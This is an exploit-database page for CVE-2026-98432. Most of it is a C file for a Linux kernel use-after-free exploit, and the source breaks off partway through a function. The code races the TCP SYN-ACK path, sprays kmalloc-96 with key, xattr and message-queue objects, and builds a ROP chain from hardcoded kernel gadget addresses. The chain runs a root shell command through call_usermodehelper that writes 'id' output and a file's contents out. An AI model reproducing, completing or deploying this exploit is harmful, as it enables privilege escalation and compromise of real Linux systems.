Exploit databaseDownload repository ZIP
GH-64512fbefaddfbf371789d6022482152
h1z3-br0/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
work/leakalt/uaf_own.c
C · 44,951 bytes/*
* uaf_race.c - CVE-2026-98432: controlled reclaim of the freed
* ip_options_rcu inside the SYN-ACK reader window.
*
* Ordering forced by the code: the reader must load ireq->ireq_opt while it is
* still non-NULL (i.e. before tcp_v4_syn_recv_sock clears it at tcp_ipv4.c:1835),
* so the free can only ever land between that load and the memcpy in
* ip_options_build(). The reader runs in softirq context with hardware
* interrupts ENABLED, so it can be frozen from inside the guest: N threads
* pinned to the reader CPU sleep on one common absolute deadline, all their
* hrtimers expire in the same LAPIC interrupt, and hrtimer_interrupt runs N
* wakeups in hardirq context. Measured stalls: tens to hundreds of us
* (the kernel itself reports "hrtimer: interrupt took 791450 ns").
*
* SLUB locality: the victim object must be allocated, freed and reclaimed on
* ONE cpu, otherwise do_slab_free() takes the __slab_free() slow path into a
* slab frozen by another cpu and no same-cpu spray can ever reach it.
*
* Reclaim object: user_key_payload (add_key "user"), kmalloc(24 + datalen),
* GFP_KERNEL, plain kmalloc-96; data[] is 8-aligned at offset 24, so with
* datalen = 72 the attacker controls chunk bytes 24..95 - exactly optlen,
* srr, rr, ts, the flag byte and 64 bytes of __data. It is persistent,
* unlike the transient setxattr kvalue buffer.
*
* Usage: stall_race <cpu_a> <cpu_b> <cpu_c> <n_aval> <period_us>
* <ack_delay_us> <attempts> [optlen] [srr]
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <net/route.h>
#include <linux/sockios.h>
#include <stdarg.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <time.h>
#include <unistd.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
/* netlink blackhole route toggle for 25.0.0.1/32 (RTN_BLACKHOLE), so the
* retransmit SYN-ACK drops in dst_output -> kfree_skb -> skb_release_data
* (R13=shinfo) instead of tun_net_xmit -> skb_copy_ubufs. Per-attempt, after
* the first SYN-ACK is captured, so the handshake is not broken. */
static int nl_fd = -1;
static unsigned int nl_seq;
static int tap_ifidx = -1;
static int lo_ifidx = -1;
static int nl_open(void)
{
struct sockaddr_nl sa;
if (nl_fd >= 0)
return 0;
nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (nl_fd < 0)
return -1;
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
if (bind(nl_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
return 0;
}
/* One rtnetlink request, then wait for its ACK. The ACK is not cosmetic:
* the duplicate SYN must not be sent before 25.0.0.1/32 is blackholed,
* otherwise tcp_v4_send_synack()'s fresh route lookup still selects tap0 and
* the retransmit goes to tun_net_xmit -> skb_copy_ubufs (R13=0, no pivot). */
static int nl_req(void *req, int len)
{
struct nlmsghdr *nh = req;
struct sockaddr_nl sa;
char buf[512];
struct pollfd pfd;
ssize_t n;
if (nl_open() < 0)
return -1;
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
nh->nlmsg_seq = ++nl_seq;
nh->nlmsg_flags |= NLM_F_ACK;
if (sendto(nl_fd, req, (size_t)len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
for (;;) {
struct nlmsghdr *rh;
pfd.fd = nl_fd;
pfd.events = POLLIN;
if (poll(&pfd, 1, 50) <= 0)
return -1;
n = recv(nl_fd, buf, sizeof(buf), 0);
if (n < (ssize_t)sizeof(struct nlmsghdr))
continue;
rh = (struct nlmsghdr *)buf;
if (rh->nlmsg_seq != nh->nlmsg_seq)
continue;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e =
(struct nlmsgerr *)NLMSG_DATA(buf);
return e->error;
}
}
}
/* add: RTN_BLACKHOLE 25.0.0.1/32 in table main; del: remove it. */
static int nl_route(int add, int rtype, int scope, int oif, const char *dststr)
{
struct {
struct nlmsghdr nh;
struct rtmsg rt;
char buf[64];
} req;
struct rtattr *rta;
unsigned int dst;
memset(&req, 0, sizeof(req));
req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
req.nh.nlmsg_type = add ? RTM_NEWROUTE : RTM_DELROUTE;
req.nh.nlmsg_flags = NLM_F_REQUEST |
(add ? (NLM_F_CREATE | NLM_F_REPLACE) : 0);
req.rt.rtm_family = AF_INET;
req.rt.rtm_dst_len = 32;
req.rt.rtm_table = RT_TABLE_MAIN;
req.rt.rtm_protocol = RTPROT_STATIC;
req.rt.rtm_scope = (unsigned char)scope;
req.rt.rtm_type = (unsigned char)rtype;
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len));
rta->rta_type = RTA_DST;
rta->rta_len = RTA_LENGTH(4);
dst = inet_addr(dststr);
memcpy(RTA_DATA(rta), &dst, 4);
req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) +
RTA_ALIGN(rta->rta_len);
if (oif > 0) {
unsigned int v = (unsigned int)oif;
rta = (struct rtattr *)(((char *)&req) +
NLMSG_ALIGN(req.nh.nlmsg_len));
rta->rta_type = RTA_OIF;
rta->rta_len = RTA_LENGTH(4);
memcpy(RTA_DATA(rta), &v, 4);
req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) +
RTA_ALIGN(rta->rta_len);
}
return nl_req(&req, (int)req.nh.nlmsg_len);
}
/* if_nametoindex() needs <net/if.h>, which redeclares IFF_* against
* <linux/if.h>; use the ioctl instead. */
static int if_index(const char *name)
{
struct ifreq ifr;
int s, idx;
s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
close(s);
return -1;
}
idx = ifr.ifr_ifindex;
close(s);
return idx;
}
#define nl_route_blackhole(add) \
nl_route((add), RTN_BLACKHOLE, RT_SCOPE_UNIVERSE, 0, CLIENT_IP)
#define nl_route_tap(add) \
nl_route((add), RTN_UNICAST, RT_SCOPE_LINK, tap_ifidx, CLIENT_IP)
#define nl_route_lo(add) \
nl_route((add), RTN_UNICAST, RT_SCOPE_LINK, lo_ifidx, CLIENT_IP)
#define CLIENT_IP "25.0.0.1"
#define SERVER_IP "10.0.2.15"
#define LOCAL_TAP "10.0.2.16"
#define SERVER_PORT 9000
static int raw_fd, tap_fd;
static unsigned short csum(const void *data, int len)
{
const unsigned short *p = data;
unsigned long sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const unsigned char *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (unsigned short)~sum;
}
static void pin(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
perror("setaffinity");
}
static int if_setup(int s, const char *name, const char *addr, const char *mask)
{
struct ifreq ifr;
struct sockaddr_in *sin;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
sin = (struct sockaddr_in *)&ifr.ifr_addr;
sin->sin_family = AF_INET;
inet_pton(AF_INET, addr, &sin->sin_addr);
if (ioctl(s, SIOCSIFADDR, &ifr) < 0)
return -1;
sin = (struct sockaddr_in *)&ifr.ifr_netmask;
sin->sin_family = AF_INET;
inet_pton(AF_INET, mask, &sin->sin_addr);
if (ioctl(s, SIOCSIFNETMASK, &ifr) < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
return -1;
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
return ioctl(s, SIOCSIFFLAGS, &ifr);
}
static int arp_set(int s, const char *dev, const char *ip,
const unsigned char *mac)
{
struct arpreq req;
struct sockaddr_in *sin;
memset(&req, 0, sizeof(req));
sin = (struct sockaddr_in *)&req.arp_pa;
sin->sin_family = AF_INET;
inet_pton(AF_INET, ip, &sin->sin_addr);
req.arp_ha.sa_family = ARPHRD_ETHER;
memcpy(req.arp_ha.sa_data, mac, 6);
req.arp_flags = ATF_COM | ATF_PERM;
strncpy(req.arp_dev, dev, sizeof(req.arp_dev) - 1);
return ioctl(s, SIOCSARP, &req);
}
static int route_add_host(int s, const char *dev, const char *dst)
{
struct rtentry rt;
struct sockaddr_in *sin;
memset(&rt, 0, sizeof(rt));
sin = (struct sockaddr_in *)&rt.rt_dst;
sin->sin_family = AF_INET;
inet_pton(AF_INET, dst, &sin->sin_addr);
sin = (struct sockaddr_in *)&rt.rt_genmask;
sin->sin_family = AF_INET;
inet_pton(AF_INET, "255.255.255.255", &sin->sin_addr);
rt.rt_flags = RTF_UP | RTF_HOST;
rt.rt_dev = (char *)dev;
return ioctl(s, SIOCADDRT, &rt);
}
static int tap_setup(void)
{
const unsigned char mac[6] = { 0x02, 0, 0, 0, 0x01, 0x05 };
struct ifreq ifr;
int fd, s;
fd = open("/dev/net/tun", O_RDWR);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
strncpy(ifr.ifr_name, "tap0", IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &ifr) < 0) {
close(fd);
return -1;
}
/* Clear all TUN offloads (GSO/TSO/CSUM). Without this the tap
* advertises GSO, so a SYN-ACK with garbage gso_size is not rejected
* by netif_needs_gso(); it reaches tun_net_xmit(), whose
* skb_orphan_frags_rx() always calls skb_copy_ubufs() (R13 != shinfo).
* With GSO off, skb_gso_segment() rejects the unknown gso_type in
* validate_xmit_skb(), and kfree_skb() -> skb_release_data()
* (R13 = shinfo) runs our pivot. */
{
int tr = ioctl(fd, TUNSETOFFLOAD, (unsigned int)0);
FILE *ff;
printf("TUNSETOFFLOAD=%d errno=%d\n", tr, errno);
ff = fopen("/sys/class/net/tap0/features", "r");
if (ff) {
char b[64];
if (fgets(b, sizeof(b), ff))
printf("tap0 features=%s", b);
fclose(ff);
}
fflush(stdout);
}
if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0) {
close(fd);
return -1;
}
s = socket(AF_INET, SOCK_DGRAM, 0);
if (if_setup(s, "tap0", LOCAL_TAP, "255.255.255.0") < 0)
return -1;
if (arp_set(s, "tap0", CLIENT_IP, mac) < 0)
return -1;
if (route_add_host(s, "tap0", CLIENT_IP) < 0)
return -1;
close(s);
return fd;
}
/* with_opts: 0 = no IP options, >0 = that many bytes of NOP-padded timestamp */
static int build_tcp(unsigned char *pkt, int optlen, unsigned int sport,
unsigned int seq, unsigned int ack, int flags)
{
struct iphdr *ip = (struct iphdr *)pkt;
struct tcphdr *th;
int ihl = 20 + optlen;
int total = ihl + 20;
int i;
memset(pkt, 0, (size_t)total);
ip->version = 4;
ip->ihl = (unsigned char)(ihl / 4);
ip->tot_len = htons((unsigned short)total);
ip->id = htons(0x7000);
ip->frag_off = htons(0x4000);
ip->ttl = 64;
ip->protocol = IPPROTO_TCP;
inet_pton(AF_INET, CLIENT_IP, &ip->saddr);
inet_pton(AF_INET, SERVER_IP, &ip->daddr);
if (optlen == 40) {
unsigned char *o = pkt + 20;
o[0] = 68; /* IPOPT_TS */
o[1] = 40;
o[2] = 5;
o[3] = 0;
for (i = 4; i + 4 <= 40; i += 4) {
o[i + 0] = 0x41;
o[i + 1] = 0x42;
o[i + 2] = 0x43;
o[i + 3] = 0x44;
}
}
th = (struct tcphdr *)(pkt + ihl);
th->source = htons((unsigned short)sport);
th->dest = htons(SERVER_PORT);
th->seq = htonl(seq);
th->ack_seq = htonl(ack);
th->doff = 5;
if (flags & 0x02)
th->syn = 1;
if (flags & 0x10)
th->ack = 1;
if (flags & 0x04)
th->rst = 1;
th->window = htons(65535);
{
unsigned char t[64];
unsigned short tcplen = htons(20);
memcpy(t, &ip->saddr, 4);
memcpy(t + 4, &ip->daddr, 4);
t[8] = 0;
t[9] = IPPROTO_TCP;
memcpy(t + 10, &tcplen, 2);
memcpy(t + 12, th, 20);
th->check = csum(t, 32);
}
ip->check = csum(ip, ihl);
return total;
}
static int raw_send(const unsigned char *pkt, int len)
{
struct sockaddr_in d;
memset(&d, 0, sizeof(d));
d.sin_family = AF_INET;
inet_pton(AF_INET, SERVER_IP, &d.sin_addr);
return (int)sendto(raw_fd, pkt, (size_t)len, 0,
(struct sockaddr *)&d, sizeof(d));
}
static unsigned int tap_scan_synack(const unsigned char *buf, ssize_t n,
int sport)
{
int off;
for (off = 14; off + 40 <= n; off++) {
const struct iphdr *ip;
const struct tcphdr *th;
if ((buf[off] >> 4) != 4)
continue;
ip = (const struct iphdr *)(buf + off);
if (ip->protocol != IPPROTO_TCP || ip->ihl < 5)
continue;
if (off + ip->ihl * 4 + 20 > n)
continue;
th = (const struct tcphdr *)(buf + off + ip->ihl * 4);
if (ntohs(th->source) != SERVER_PORT ||
ntohs(th->dest) != sport)
continue;
if (th->syn && th->ack)
return ntohl(th->seq);
}
return 0;
}
static unsigned int __attribute__((unused)) wait_synack(unsigned int sport, int ms)
{
int i;
for (i = 0; i < ms * 4; i++) {
unsigned char buf[4096];
ssize_t n = read(tap_fd, buf, sizeof(buf));
struct timespec ts = { 0, 250000 };
if (n > 0) {
unsigned int r = tap_scan_synack(buf, n, (int)sport);
if (r)
return r;
}
nanosleep(&ts, NULL);
}
return 0;
}
/* ---------- reclaim object: user_key_payload via add_key ---------- */
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define KEYCTL_CLEAR 7
/*
* datalen must be 41..64: user_key_payload is 24 + datalen -> kmalloc-96,
* while add_key's own transient kvmalloc(plen) buffer is <= 64 bytes and
* therefore lands in kmalloc-64. With plen 65..72 that transient buffer
* would take the freed victim slot first and hand it straight back.
*/
#define PAYLOAD_LEN 64
#define MARKER0 0xDEADBEEFCAFE1234ULL
#define MARKER1 0x4142434445464748ULL
static unsigned char payload[PAYLOAD_LEN];
static int fake_optlen = 192;
static int fake_srr;
static int fake_rr;
static int mode;
static volatile long n_longsend;
static long add_key_raw(const void *p, size_t plen, const char *desc)
{
return syscall(248 /* add_key */, "user", desc, p, plen,
(long)KEY_SPEC_PROCESS_KEYRING);
}
static long keyring_clear(void)
{
return syscall(250 /* keyctl */, (long)KEYCTL_CLEAR,
(long)KEY_SPEC_PROCESS_KEYRING, 0L, 0L, 0L);
}
static void payload_build(void)
{
unsigned long long m0 = MARKER0, m1 = MARKER1;
int i;
memset(payload, 0, sizeof(payload));
payload[0] = (unsigned char)fake_optlen; /* chunk+24 optlen */
payload[1] = (unsigned char)fake_srr; /* chunk+25 srr */
payload[2] = (unsigned char)fake_rr; /* chunk+26 rr */
payload[3] = 0; /* chunk+27 ts */
payload[4] = 0; /* chunk+28 flags */
payload[5] = 0; /* router_alert */
payload[6] = 0; /* cipso */
payload[7] = 0; /* __pad2 */
/* chunk+32 == __data[0]: marker so the SYN-ACK is unambiguous */
memcpy(payload + 8, &m0, 8);
memcpy(payload + 16, &m1, 8);
for (i = 24; i < PAYLOAD_LEN; i++)
payload[i] = (unsigned char)(0x61 + (i % 16));
payload[34] = 239; /* __data[26] = srr displacement -> shinfo */
payload[44] = 0; /* gso_size/gso_segs of the adjacent chunk */
payload[45] = 0;
payload[46] = 0;
payload[47] = 0;
(void)m1;
}
static void keys_quota_raise(void)
{
static const char *f[2] = { "/proc/sys/kernel/keys/maxkeys",
"/proc/sys/kernel/keys/maxbytes" };
static const char *v[2] = { "1000000", "200000000" };
int i;
for (i = 0; i < 2; i++) {
int fd = open(f[i], O_WRONLY);
if (fd >= 0) {
ssize_t w = write(fd, v[i], strlen(v[i]));
(void)w;
close(fd);
}
}
}
/*
* Validation reclaim: ip_options_get() does
* kzalloc(sizeof(struct ip_options_rcu) + ((optlen + 3) & ~3), GFP_KERNEL)
* which for a 40-byte option is the very same 72-byte kmalloc-96 shape as the
* victim, is kept alive by the socket, and carries 36 attacker-chosen bytes at
* chunk+32. optlen is forced to 40 by the kernel, so this cannot be
* weaponised - it only proves that free and reclaim line up.
*/
#define MAX_SPRAY 64
static int ipopt_sk[MAX_SPRAY];
static int nspray = 1;
static int ipopt_reported;
static volatile unsigned long g_leak_addr;
static volatile long g_leak_sport;
static volatile int g_leak_seen;
static volatile int g_stage;
static int reclaim_ipopts_init(void)
{
int i;
for (i = 0; i < MAX_SPRAY; i++) {
ipopt_sk[i] = socket(AF_INET, SOCK_DGRAM, 0);
if (ipopt_sk[i] < 0)
return -1;
}
return 0;
}
/*
* setxattr reclaim: the syscall copies the value into a kvmalloc(size) buffer
* synchronously on the calling CPU before handing it to the fs handler, so a
* size in 65..96 is a controlled kmalloc-96 whose EVERY byte (including byte 24
* = the fake opt.optlen) is attacker-chosen. Unlike IP_OPTIONS this lets
* optlen exceed 40 for the pointer overread. tmpfs keeps the value, so the
* buffer is not freed back under us during the frozen window.
*/
#define XATTR_SIZE 96 /* kmalloc(96) -> kmalloc-96 (full chunk) */
static int xattr_fd = -1;
static char xattr_path[] = "/tmp/x";
static int reclaim_xattr_init(void)
{
xattr_fd = open(xattr_path, O_CREAT | O_RDWR, 0600);
return xattr_fd;
}
static void xattr_common(unsigned char *v, int optlen, int srr)
{
unsigned long long m0 = MARKER0;
int i;
/* the kvmalloc buffer is the raw value: v[0] maps to chunk+0, so the
* fake ip_options_rcu header lands at v[16..] and opt.optlen at v[24].
*/
memset(v, 0, XATTR_SIZE);
v[16] = 0x19; /* opt.faddr = 25.0.0.1; output path uses dst */
v[19] = 0x01;
v[24] = (unsigned char)optlen;
v[25] = (unsigned char)srr;
v[26] = (unsigned char)fake_rr;
v[27] = 0;
v[28] = 0;
memcpy(v + 32, &m0, 8); /* chunk+32 = __data[0] = marker */
for (i = 40; i < XATTR_SIZE; i++)
v[i] = (unsigned char)(0x90 + (i % 8));
/* srr write (after memcpy) targets shinfo: iph+45+B-4 = head+384
* with B = v[58] = 107; the value is the spoofed SYN source. */
v[58] = 107;
/* shinfo flags/gso for the case where this chunk is the second one */
v[64] = 0x19; /* ZEROCOPY_ENABLE|DONT_ORPHAN|MANAGED_REFS */
v[65] = 0;
v[66] = 0;
v[67] = 0;
v[68] = 0; /* gso_size */
v[69] = 0;
v[70] = 0;
v[71] = 0; /* gso_segs */
}
static void reclaim_xattr(void)
{
unsigned char v[XATTR_SIZE];
int k;
for (k = 0; k < nspray && k < MAX_SPRAY; k++) {
char name[32];
xattr_common(v, fake_optlen, fake_srr);
if (g_stage && g_leak_addr) {
unsigned long a = g_leak_addr;
if (k == 1) {
/* second physical chunk A: fake ubuf_info at A.
* uarg->ops = A+8, ops->complete = bad marker
* (phase-1 control proof; replaced by pivot). */
unsigned long ops = a + 8;
unsigned long bad = 0x4242424242424242UL;
memcpy(v + 0, &ops, 8);
memcpy(v + 8, &bad, 8);
} else if (k >= 2) {
/* third physical chunk B: destructor_arg at
* shinfo+40 comes from B+8..15. */
memcpy(v + 8, &a, 8);
}
}
snprintf(name, sizeof(name), "user.a%d", k);
fsetxattr(xattr_fd, name, v, XATTR_SIZE, 0);
}
}
static void put64(unsigned char *p, unsigned long v)
{
memcpy(p, &v, 8);
}
/* ---------- msg_msgseg: persistent kmalloc-96, data at chunk+8..95 ---------- */
#define MSG_TEXT 4136 /* 4048 (msg_msg) + 88 (tail seg data) */
#define MSG_TAIL 88
struct msgbuf_big {
long mtype;
unsigned char mtext[MSG_TEXT];
};
static struct msgbuf_big msgbuf;
static int q_stub = -1, q_hold = -1, q_spray = -1;
static unsigned char v_tail[MSG_TAIL];
static int msg_send_tail(int q, const unsigned char *tail, long type)
{
memset(msgbuf.mtext, 0, MSG_TEXT);
if (tail)
memcpy(msgbuf.mtext + MSG_TEXT - MSG_TAIL, tail, MSG_TAIL);
msgbuf.mtype = type;
return (int)msgsnd(q, &msgbuf, MSG_TEXT, 0);
}
static int msg_recv_one(int q)
{
return (int)msgrcv(q, &msgbuf, MSG_TEXT, 0, 0);
}
static int msg_recv_type(int q, long type)
{
return (int)msgrcv(q, &msgbuf, MSG_TEXT, type, 0);
}
/* canonical build #26 (bzImage md5 551681bb...) */
#define PIVOT_R13 0xffffffff8114169eUL
#define POP_RSP 0xffffffff81106f3bUL /* pop rsp; ret (not in a patched thunk) */
#define POP4_RSI 0xffffffff8144c04bUL /* pop rsi; pop rbx; pop rbp; pop r12; jmp thunk */
#define POP3_RSI 0xffffffff81001384UL /* pop rsi; pop r15; pop rbp; jmp thunk */
#define POP3_SKIP 0xffffffff8106d15bUL /* pop r12; pop rbp; pop rbx; ret */
#define POP2_SKIP 0xffffffff8106d15dUL /* pop rbp; pop rbx; ret */
#define POP_RDI 0xffffffff81004099UL
#define POP_RSI 0xffffffff810b5c9eUL
#define POP_RDX 0xffffffff811a5f22UL
#define POP_RCX 0xffffffff81107054UL
#define CALL_UMH 0xffffffff810ae890UL
#define MACHINE_OFF 0xffffffff81061680UL
#define SH_PATH 0xffffffff8294189fUL
#define ENVP_INIT 0xffffffff82c10020UL
#define DOUBLE_WRITE 0xffffffff8114742cUL /* mov [rdi],rsi; mov [rdi+8],rdx; ret */
#define ORDERLY_OFF 0xffffffff810c57c0UL
#define JMP_SELF 0xffffffff81000135UL /* jmp . */
#define ENVP_STATIC 0xffffffff82c56c70UL /* run_cmd() static envp[] */
#define RCU_UNLOCK 0xffffffff811309b0UL /* __rcu_read_unlock */
#define POWEROFF_CMD 0xffffffff82c56ee0UL
/*
* v31 uniform-flood + anchor (S-independent).
*
* The cb-SYN's ip_options_rcu lands at an unknown chunk S (the freed stub).
* The overflow source is S+32..S+286, which covers three kmalloc-96 chunks:
* S : fake ip_options_rcu (optlen=255 at S+24, srr=0 at S+25)
* S+96 : uniform chunk -> t[40]=0 (r13), t[48]=pop rsp, t[56]=F+25
* S+192 : uniform chunk -> t[0]=F+8 (destructor_arg)
* The anchor at F (known from the leak) holds:
* F+8 = F+16 (uarg->ops)
* F+16 = PIVOT_R13 (ops->complete)
* F+25 = ROP chain (8 qwords, fits entirely in F+25..F+88):
* pop rdi; poweroff_cmd; pop rsi; "/tmp/x";
* mov [rdi],rsi; mov [rdi+8],rdx; pop rdi; 1; orderly_poweroff
* orderly_poweroff() queues poweroff_work, which runs poweroff_cmd
* ("/tmp/x") as root via call_usermodehelper.
*/
static int q_flood = -1;
static int flood_n = 2000;
static void build_victim_tail(unsigned char *t, unsigned long F)
{
memset(t, 0, MSG_TAIL);
t[16] = 255; /* victim +24: optlen */
t[17] = 0; /* victim +25: srr (no srr store) */
}
static void build_second_tail(unsigned char *t, unsigned long F)
{
memset(t, 0, MSG_TAIL);
/* 2nd chunk +48.. = shinfo-0x10.. ; chain part 1 */
put64(t + 48, POP_RDI); /* shinfo-8: first RIP */
put64(t + 56, F + 25); /* shinfo+0: PATH, odd -> flags bit0=1 */
put64(t + 64, POP_RSI);
put64(t + 72, F + 62); /* ARGV = { /bin/sh, -c, cmd, NULL } */
put64(t + 80, POP3_SKIP); /* skip 3rd chunk next/t0/t8 */
}
static void build_third_tail(unsigned char *t, unsigned long F)
{
memset(t, 0, MSG_TAIL);
put64(t + 0, F + 8); /* destructor_arg */
put64(t + 8, PIVOT_R13); /* ops->complete */
put64(t + 16, POP_RDX); /* POP3_SKIP ret target */
put64(t + 24, ENVP_STATIC);
put64(t + 32, POP_RCX);
put64(t + 40, 0); /* UMH_NO_WAIT */
put64(t + 48, CALL_UMH);
put64(t + 56, RCU_UNLOCK); /* leave RCU read-side section */
put64(t + 64, JMP_SELF);
}
static void build_anchor_tail(unsigned char *t, unsigned long F)
{
memset(t, 0, MSG_TAIL);
put64(t + 0, F + 16); /* F+8 uarg->ops */
put64(t + 8, PIVOT_R13); /* F+16 ops->complete */
/* F+25: "/bin/sh\0" (odd address -> shinfo flags bit0=1) */
memcpy(t + 17, "/bin/sh", 7);
t[24] = 0;
/* F+33: "-c\0" */
t[25] = '-';
t[26] = 'c';
t[27] = 0;
/* F+36: command */
memcpy(t + 28, "id>/mnt/x;cat /r>>/mnt/x", 25);
t[53] = 0;
/* F+62: argv = { F+25, F+33, F+36, NULL } */
put64(t + 54, F + 25);
put64(t + 62, F + 33);
put64(t + 70, F + 36);
put64(t + 78, 0);
}
static void dump_slabinfo(const char *tag)
{
FILE *f = fopen("/proc/slabinfo", "r");
char line[256];
if (!f)
return;
while (fgets(line, sizeof(line), f)) {
if (strncmp(line, "kmalloc-96 ", 11) == 0) {
printf("SLAB %s: %s", tag, line);
fflush(stdout);
break;
}
}
fclose(f);
}
static int msg_stage(unsigned long F)
{
unsigned char t[MSG_TAIL];
int i;
q_stub = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
q_hold = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
q_spray = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
q_flood = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
if (q_stub < 0 || q_hold < 0 || q_spray < 0 || q_flood < 0)
return -1;
/* 1st alloc pops P (the freed victim); 2nd pops F (the leak). */
memset(t, 0, sizeof(t));
if (msg_send_tail(q_stub, t, 1) < 0) /* stub -> P */
return -1;
build_anchor_tail(t, F);
if (msg_send_tail(q_hold, t, 1) < 0) /* anchor -> F */
return -1;
/* Fill the rest of the kmalloc-96 freelist with uniform chunks so
* that P+96 and P+192 are ours regardless of the freelist order. */
dump_slabinfo("before_flood");
build_victim_tail(t, F);
for (i = 0; i < flood_n; i++) {
if (msg_send_tail(q_flood, t, 1) < 0)
break;
}
dump_slabinfo("after_flood");
printf("uaf_msgseg: v31 anchor F=%016lx flood=%d\n", F, i);
fflush(stdout);
/* Free the stub: the cb-SYN's ip_options_rcu will pop P. */
if (msg_recv_one(q_stub) < 0)
return -1;
return 0;
}
static int reclaim_v_msgseg(void)
{
unsigned char t[MSG_TAIL];
int i;
/* The freed victim S is at the head of an address-ordered
* freelist: S -> S+96 -> S+192 -> S+288. Allocate three
* consecutive chunks so the whole overflow source
* S+32..S+286 is ours. Each chunk gets a different payload:
* type 1 = victim (optlen/srr), type 2 = chain part 1,
* type 3 = destructor_arg + chain part 2. */
build_victim_tail(t, g_leak_addr);
if (msg_send_tail(q_spray, t, 1) < 0)
return -1;
build_second_tail(t, g_leak_addr);
if (msg_send_tail(q_spray, t, 2) < 0)
return -1;
build_third_tail(t, g_leak_addr);
if (msg_send_tail(q_spray, t, 3) < 0)
return -1;
return 0;
}
/* ---------- listener ---------- */
static int listen_fd = -1;
static int listener_start(void)
{
struct sockaddr_in a;
struct timeval tv = { 0, 60000 };
int fd, one = 1;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd < 0)
return -1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
memset(&a, 0, sizeof(a));
a.sin_family = AF_INET;
a.sin_port = htons(SERVER_PORT);
a.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0)
return -1;
if (listen(fd, 65535) < 0)
return -1;
return fd;
}
/* ---------- hrtimer avalanche ---------- */
#define MAX_AVAL 512
static int aval_fifo[2] = { -1, -1 };
static int aval_n;
static int aval_cpu;
static volatile int aval_stop;
static volatile unsigned long aval_armed_total, aval_done;
static long long now_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (long long)ts.tv_sec * 1000000000LL + ts.tv_nsec;
}
static void *aval_thread(void *arg)
{
unsigned long long d;
struct timespec ts;
(void)arg;
pin(aval_cpu);
prctl(PR_SET_TIMERSLACK, 1UL, 0UL, 0UL, 0UL);
for (;;) {
ssize_t r = read(aval_fifo[0], &d, sizeof(d));
if (r != (ssize_t)sizeof(d)) {
if (r < 0 && errno == EINTR)
continue;
break;
}
ts.tv_sec = (time_t)(d / 1000000000ULL);
ts.tv_nsec = (long)(d % 1000000000ULL);
clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &ts, NULL);
__sync_fetch_and_add(&aval_done, 1);
}
return NULL;
}
/* ---------- racing threads (absolute-time armed, no grid) ---------- */
static int cpu_a = 1, cpu_b = 2, cpu_c = 3, cpu_d = 4;
static int ack_delay_us = 30;
static int arm_lead_us = 200;
static volatile unsigned long go_seq;
static volatile unsigned int cur_sport, cur_isn, cur_sisn;
static volatile long long cur_t0;
static volatile int run_stop;
static volatile long n_dup, n_ack;
static int dup_pipe[2], ack_pipe[2];
static int n_aval = 64;
static volatile long long dup_t0;
static volatile int dup_done;
static long grid_ns = 300000; /* avalanche period on cpu_b */
static long long grid_t0;
static int reader_lat_us = 46; /* measured sendto -> ireq_opt load */
static int step_us = 3;
static void wake_worker(int *pp)
{
char c = 1;
ssize_t w = write(pp[1], &c, 1);
(void)w;
}
static int wait_worker(int *pp)
{
char c;
return read(pp[0], &c, 1) == 1;
}
static void fifo_self(int prio)
{
struct sched_param sp;
memset(&sp, 0, sizeof(sp));
